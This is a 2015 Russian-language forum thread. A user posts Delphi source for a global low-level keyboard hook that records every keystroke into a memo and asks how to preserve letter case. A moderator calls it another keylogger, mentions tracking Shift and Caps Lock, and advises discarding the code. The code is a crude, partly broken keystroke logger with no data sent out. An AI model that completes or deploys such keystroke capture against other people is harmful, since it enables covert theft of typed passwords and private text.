HTTqp
|
Дата: Воскресенье, 24.05.2015, 01:14 | Сообщение # 1
|
Частый гость
Зарегистрирован: 08.10.2014
Группа: Пользователи
Сообщений: 57
Статус: Offline
|
Помогите люди, я уже не могу биться над этой задачей. Суть такова, с помощью хука отлавливаю нажатия клавиш (интересует только английские буквы и цифры). Так вот вроде все работает только вот выводится все в однов регистре в верхнем. нужно чтобы если вводится нижний писать нижний, если верхний тогда писать заглавные.
вот мой код
Код
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
PKbdDllHookStrukt = ^TKbdDllHookStrukt;
_KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
var
StrResult: String;
var
Form1: TForm1;
hHook: THandle;
implementation
{$R *.dfm}
function LowLevelKeyboardProc(nCode: Integer;
WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
begin
StrResult := '';
if nCode = HC_ACTION then
Result := CallNextHookEx(hHook, nCode, WParam, LParam);
case WParam of
WM_KEYDOWN
begin
StrResult := Chr(PKbdDllHookStrukt(LParam)^.vkCode);
Form1.Memo1.Lines.Add(StrResult);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
const
WH_KEYBOARD_LL = 13;
begin
hHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
if hHook = 0 then RaiseLastOSError;
end;
end.
|
|
|
|
Волк-1024
|
Дата: Воскресенье, 24.05.2015, 02:46 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
|
Очередной кейлоггер на делфе?! В инете по первому же запросу выдаст миллионы ссылок с подобным, в кавычках, добром!
По сути могу лишь сказать, что нужно следить за такими клавишами, как Капслук и Шифт. Они отвечают как раз за регистр. И вообще этот код нужно выкинуть.
Pascal, C\C++, Assembler, Python
|
|
|
|